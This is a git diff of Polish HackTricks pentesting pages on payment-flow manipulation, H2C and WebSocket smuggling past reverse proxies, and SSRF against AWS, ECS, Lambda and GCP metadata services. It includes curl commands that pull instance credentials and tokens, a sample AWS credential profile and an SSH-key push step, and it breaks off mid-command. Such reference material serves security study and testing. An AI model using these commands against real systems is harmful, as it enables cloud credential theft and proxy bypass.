|
||||
1. **Tokeny sesji**: Jeśli w procesie płatności używane są tokeny sesji, spróbuj je przechwycić i manipulować nimi. Może to dostarczyć informacji na temat podatności zarządzania sesją.
|
||||
### Przechwytywanie Sesji
|
||||
1. **Tokeny Sesji**: Jeśli w procesie płatności używane są tokeny sesji, spróbuj przechwycić je i nimi manipulować. Może to dostarczyć wglądu w podatności zarządzania sesjami.
|
||||
|
||||
### Modyfikacja odpowiedzi
|
||||
1. **Przechwytywanie odpowiedzi**: Użyj narzędzi do przechwytywania i analizowania odpowiedzi serwera. Szukaj danych, które mogą wskazywać na udaną transakcję lub ujawniać kolejne kroki w procesie płatności.
|
||||
2. **Modyfikowanie odpowiedzi**: Spróbuj zmodyfikować odpowiedzi przed ich przetworzeniem przez przeglądarkę lub aplikację, aby symulować scenariusz udanej transakcji.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy we wszystkich warstwach technologicznych, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
|
||||
</details>
|
||||
### Modyfikacja Odpowiedzi
|
||||
1. **Przechwytywanie Odpowiedzi**: Użyj narzędzi do przechwytywania i analizowania odpowiedzi serwera. Szukaj danych wskazujących na udaną transakcję lub ujawniających kolejne kroki w procesie płatności.
|
||||
2. **Modyfikacja Odpowiedzi**: Spróbuj zmodyfikować odpowiedzi przed ich przetworzeniem przez przeglądarkę lub aplikację, aby zasymulować scenariusz udanej transakcji.
|
||||
|
|
|
@ -1,50 +1,44 @@
|
|||
# Ulepszenie Smuglowania Nagłówka
|
||||
# Aktualizacja Przemytu Nagłówka
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Przemyt H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
### HTTP2 nad Czystym Tekstem (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
H2C, czyli **http2 nad czystym tekstem**, odbiega od normy tymczasowych połączeń HTTP, aktualizując standardowe połączenie HTTP **do trwałego**. To zaktualizowane połączenie wykorzystuje binarny protokół http2 do ciągłej komunikacji, w przeciwieństwie do jednorazowego charakteru protokołu HTTP w postaci tekstu.
|
||||
|
||||
***
|
||||
|
||||
## Smuglowanie H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
### HTTP2 nad czystym tekstem (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, czyli **http2 nad czystym tekstem**, odbiega od normy przejściowych połączeń HTTP, uaktualniając standardowe połączenie HTTP do trwałego. To uaktualnione połączenie wykorzystuje binarny protokół http2 do ciągłej komunikacji, w przeciwieństwie do jednorazowego charakteru czystego HTTP.
|
||||
|
||||
Istota problemu smuglowania wynika z użycia **odwróconego proxy**. Zwykle odwrócone proxy przetwarza i przekazuje żądania HTTP do backendu, zwracając odpowiedź backendu po tym. Jednak gdy nagłówek `Connection: Upgrade` jest obecny w żądaniu HTTP (często widoczny w połączeniach websocket), odwrócone **proxy utrzymuje trwałe połączenie** między klientem a serwerem, ułatwiając ciągłą wymianę wymaganą przez pewne protokoły. Dla połączeń H2C, zgodność z RFC wymaga obecności trzech konkretnych nagłówków:
|
||||
Rdzeń problemu przemytu pojawia się przy użyciu **serwera proxy odwrotnego**. Zazwyczaj serwer proxy odwrotny przetwarza i przekazuje żądania HTTP do backendu, zwracając odpowiedź backendu po tym. Jednak gdy nagłówek `Connection: Upgrade` jest obecny w żądaniu HTTP (często widziany w połączeniach websocket), serwer **proxy utrzymuje trwałe połączenie** między klientem a serwerem, ułatwiając ciągłą wymianę wymaganą przez pewne protokoły. Dla połączeń H2C, zgodność z RFC wymaga obecności trzech konkretnych nagłówków:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
Podatność pojawia się, gdy po uaktualnieniu połączenia, odwrócony proxy przestaje zarządzać poszczególnymi żądaniami, zakładając, że jego zadanie polegające na kierowaniu jest zakończone po ustanowieniu połączenia. Wykorzystanie H2C Smuggling umożliwia obejście reguł odwróconego proxy stosowanych podczas przetwarzania żądania, takich jak kierowanie oparte na ścieżce, uwierzytelnianie i przetwarzanie WAF, zakładając, że połączenie H2C zostanie pomyślnie nawiązane.
|
||||
### Narażenie na ryzyko <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
### Podatne proxy <a href="#exploitation" id="exploitation"></a>
|
||||
Podatność pojawia się, gdy po zaktualizowaniu połączenia, odwrotny proxy przestaje zarządzać poszczególnymi żądaniami, zakładając, że jego zadanie routingu jest zakończone po ustanowieniu połączenia. Wykorzystanie H2C Smuggling pozwala na obejście reguł odwrotnego proxy stosowanych podczas przetwarzania żądania, takich jak routowanie oparte na ścieżce, uwierzytelnianie i przetwarzanie WAF, zakładając, że połączenie H2C zostało pomyślnie zainicjowane.
|
||||
|
||||
Podatność zależy od obsługi nagłówków `Upgrade` i czasami `Connection` przez odwrócone proxy. Następujące proxy domyślnie przekazują te nagłówki podczas proxy-pass, co umożliwia automatyczne włączenie H2C smuggling:
|
||||
### Narażone Proksy <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Podatność zależy od obsługi przez odwrotne proxy nagłówków `Upgrade` i czasami `Connection`. Następujące proksy z natury przekazują te nagłówki podczas przekazywania proxy-pass, co z natury umożliwia H2C smuggling:
|
||||
|
||||
- HAProxy
|
||||
- Traefik
|
||||
- Nuster
|
||||
|
||||
Z kolei te usługi nie przekazują obu nagłówków domyślnie podczas proxy-pass. Jednak mogą być skonfigurowane w sposób niebezpieczny, umożliwiający niefiltrowane przekazywanie nagłówków `Upgrade` i `Connection`:
|
||||
Z kolei te usługi z natury nie przekazują obu nagłówków podczas przekazywania proxy-pass. Jednakże mogą być skonfigurowane w sposób niebezpieczny, umożliwiając niefiltrowane przekazywanie nagłówków `Upgrade` i `Connection`:
|
||||
|
||||
- AWS ALB/CLB
|
||||
- NGINX
|
||||
|
@ -57,43 +51,12 @@ Z kolei te usługi nie przekazują obu nagłówków domyślnie podczas proxy-pas
|
|||
|
||||
### Wykorzystanie <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Warto zauważyć, że nie wszystkie serwery domyślnie przekazują nagłówki wymagane do zgodnego uaktualnienia połączenia H2C. Dlatego warto przetestować wariant niezgodny z zasadami, który nie zawiera wartości `HTTP2-Settings` w nagłówku `Connection`, ponieważ niektóre backendy mogą nie być zgodne ze standardami.
|
||||
Należy zauważyć, że nie wszystkie serwery z natury przekazują wymagane nagłówki do zgodnej aktualizacji połączenia H2C. Dlatego serwery takie jak AWS ALB/CLB, NGINX i Apache Traffic Server, między innymi, naturalnie blokują połączenia H2C. Niemniej warto przetestować z niezgodną wersją `Connection: Upgrade`, która wyklucza wartość `HTTP2-Settings` z nagłówka `Connection`, ponieważ niektóre backendy mogą nie być zgodne ze standardami.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Niezależnie od określonej **ścieżki** w URL `proxy_pass` (np. `http://backend:9999/socket.io`), ustanowione połączenie domyślnie odwołuje się do `http://backend:9999`. Pozwala to na interakcję z dowolną ścieżką wewnątrz tego wewnętrznego punktu końcowego, wykorzystując tę technikę. Określenie ścieżki w URL `proxy_pass` nie ogranicza dostępu.
|
||||
Niezależnie od określonej **ścieżki** w adresie URL `proxy_pass` (np. `http://backend:9999/socket.io`), ustanowione połączenie domyślnie przekierowuje do `http://backend:9999`. Pozwala to na interakcję z dowolną ścieżką wewnątrz tego wewnętrznego punktu końcowego, wykorzystując tę technikę. W rezultacie określenie ścieżki w adresie URL `proxy_pass` nie ogranicza dostępu.
|
||||
{% endhint %}
|
||||
|
||||
Narzędzia [**h2csmuggler od BishopFox**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od assetnote**](https://github.com/assetnote/h2csmuggler) ułatwiają próby **obejścia ochrony narzuconej przez proxy** poprzez ustanowienie połączenia H2C, umożliwiając dostęp do zasobów zabezpieczonych przez proxy.
|
||||
Narzędzia [**h2csmuggler od BishopFox**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od assetnote**](https://github.com/assetnote/h2csmuggler) ułatwiają próby **obejścia narzuconych przez proxy zabezpieczeń** poprzez ustanowienie połączenia H2C, umożliwiając dostęp do zasobów zabezpieczonych przez proxy.
|
||||
|
||||
Aby uzyskać dodatkowe informacje na temat tej podatności, zwłaszcza dotyczące NGINX, odwołaj się do [**tego szczegółowego źródła**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||
|
||||
# Websocket Smuggling
|
||||
|
||||
Websocket smuggling, w przeciwieństwie do tworzenia tunelu HTTP2 do punktu końcowego dostępnego za pośrednictwem proxy, ustanawia tunel Websocket w celu obejścia potencjalnych ograniczeń proxy i ułatwienia bezpośredniej komunikacji z punktem końcowym.
|
||||
|
||||
## Scenariusz 1
|
||||
|
||||
W tym scenariuszu złośliwy klient, który chce uzyskać dostęp do wewnętrznego REST API, kieruje atak na backend, który oferuje publiczne API Websocket obok niedostępnego wewnętrznego REST API. Atak składa się z kilku kroków:
|
||||
|
||||
1. Klient rozpoczyna, wysyłając żądanie Upgrade do odwróconego proxy z nieprawidłową wersją protokołu `Sec-WebSocket-Version` w nagłówku. Proxy, nie sprawdzając nagłówka `Sec-WebSocket-Version`, uznaje żądanie Upgrade za prawidłowe i przekazuje je do backendu.
|
||||
2. Backend odpowiada kodem stanu `426`, wskazującym nieprawidłową wersję protokołu w nagłówku `Sec-WebSocket-Version`. Odwrócone proxy, pomijając status odpowiedzi backendu, zakłada gotowość do komunikacji Websocket i przekazuje odpowiedź do klienta.
|
||||
3. W rezultacie odwrócone proxy zostaje wprowadzone w błąd, wierząc, że zostało ustanowione połączenie Websocket między klientem a backendem, podczas gdy w rzeczywistości backend odrzucił żądanie Upgrade. Mimo to, proxy utrzymuje otwarte połączenie TCP lub TLS między klientem a backendem, umożliwiając klientowi nieograniczony dostęp do prywatnego REST API za pośrednictwem tego połączenia.
|
||||
|
||||
Podatne odwrócone proxy obejmują Varnish, który odmówił rozwiązania tego problemu, oraz proxy Envoy w wersji 1.8.0 lub starszej, przy czym późniejsze wersje zmieniły mechanizm uaktualniania. Inne proxy mogą również być podatne.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||
|
||||
## Scenariusz 2
|
||||
|
||||
Ten scenariusz dotyczy backendu posiadającego zarówno publiczne API Websocket, jak i publiczne API REST do sprawdzania stanu zdrowia, oraz niedostępnego wewnętrznego REST API. Atak, bardziej złożony, obejmuje następujące kroki:
|
||||
|
||||
1. Klient wysyła żądanie POST, aby uruchomić API sprawdzania stanu zdrowia, zawierając dodatkowy nagłówek HTTP `Upgrade: websocket`. NGINX, działający jako odwrócone proxy, interpretuje to jako standardowe żądanie Upgrade, opierając się wyłącznie na nagłówku `Upgrade`, ignorując inne aspekty żądania, i przekazuje je do backendu.
|
||||
2. Backend wykonuje API sprawdzania stanu zdrowia, sięgając do zewnętrznego zasobu kontrolowanego przez atakującego, który zwraca odpowiedź HTTP ze statusem `101`. Ta odpowiedź, po otrzymaniu jej przez backend i przekazaniu do NGINX, wprowadza proxy w błąd, sugerując, że zostało ustanowione połączenie Websocket ze względu na sprawdzenie tylko kodu stanu.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Ostrzeżenie:** Złożoność tej techniki wzrasta, ponieważ wymaga możliwości interakcji z punktem końcowym, który może zwrócić kod stanu 101.
|
||||
|
||||
Ostatecznie NGINX zostaje wprowadzone w błąd, wierząc, że istnieje połączenie Websocket między klientem a backendem. W rzeczywistości takie połączenie nie istnieje; celem była REST API sprawdzania stanu zdrowia. Niemniej jednak, odwrócone proxy utrzymuje otwarte połączenie, umożliwiając klientowi dostęp do prywatnego REST API za pośrednictwem niego.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/web
|
||||
Aby uzyskać dodatkowe informacje na temat tej podatności, szczególnie dotyczące NGINX, zapoznaj się z [**tym szczegółowym źródłem**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||
|
|
|
@ -7,28 +7,20 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Nadużywanie SSRF w środowisku AWS EC2
|
||||
|
||||
**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na ich temat. Są dostępne pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na jej temat. Można uzyskać do nich dostęp pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą żądań **GET** (więc każde **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do nadużycia** przy użyciu SSRF).
|
||||
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą żądań **GET** (więc każde **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** z SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoku równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
|
||||
|
@ -100,7 +92,7 @@ Jako przykład ujawnionych **publicznie dostępnych poświadczeń IAM** możesz
|
|||
|
||||
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Następnie możesz użyć **tych poświadczeń z AWS CLI**. Pozwoli to Ci **wykonać wszystko, do czego dana rola ma uprawnienia**.
|
||||
Następnie możesz użyć **tych poświadczeń z AWS CLI**. Pozwoli to Ci wykonać **dowolne czynności, do których ma uprawnienia ta rola**.
|
||||
|
||||
Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, podobny do tego:
|
||||
```
|
||||
|
@ -109,22 +101,22 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Zauważ **aws\_session\_token**, jest to niezbędne do działania profilu.
|
||||
Zauważ **aws\_session\_token**, jest to niezbędne, aby profil działał.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o swoich uprawnieniach i spróbować eskalować uprawnienia
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o Twoich uprawnieniach i spróbować eskalować uprawnienia
|
||||
|
||||
### SSRF w poświadczeniach AWS ECS (usługa kontenerowa)
|
||||
|
||||
**ECS**, to logiczna grupa instancji EC2, na których można uruchomić aplikację, nie musząc skalować własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
|
||||
|
||||
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
|
||||
Możesz to zrobić, wykorzystując **Path Traversal** do `file:///proc/self/environ`\
|
||||
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** o nazwie **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
|
||||
Możesz to odczytać wykorzystując **Path Traversal** do `file:///proc/self/environ`\
|
||||
Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź wcześniej wspomniane ograniczenia czasowe IMDSv2). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
|
||||
Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź wcześniej wspomniane ograniczenia czasowe IMDSv2). W tych scenariuszach z kontenera można uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF dla AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -137,7 +129,7 @@ W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu czasu wykonania](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że **poświadczenia lambdy** znajdują się w **zmiennych środowiskowych**. Dlatego jeśli **ślad stosu** kodu lambdy drukuje zmienne środowiskowe, możliwe jest **wydostanie ich wywołując błąd** w aplikacji.
|
||||
|
@ -249,7 +241,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta NIE wymaga nagłówka w tej chwili (dzięki Mathiasowi Karlssonowi @avlidienbrunn)
|
||||
Beta NIE wymaga nagłówka w tej chwili (dzięki Mathiasowi Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -271,7 +263,7 @@ gcloud config unset auth/access_token_file
|
|||
|
||||
### Dodaj klucz SSH <a href="#id-3e24" id="id-3e24"></a>
|
||||
|
||||
Wyciągnij token
|
||||
Wyodrębnij token
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
|
@ -285,7 +277,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
|||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Teraz przekaż klucz SSH.
|
||||
Teraz przyciśnij klucz SSH.
|
||||
|
||||
{% code overflow="wrap" %}
|
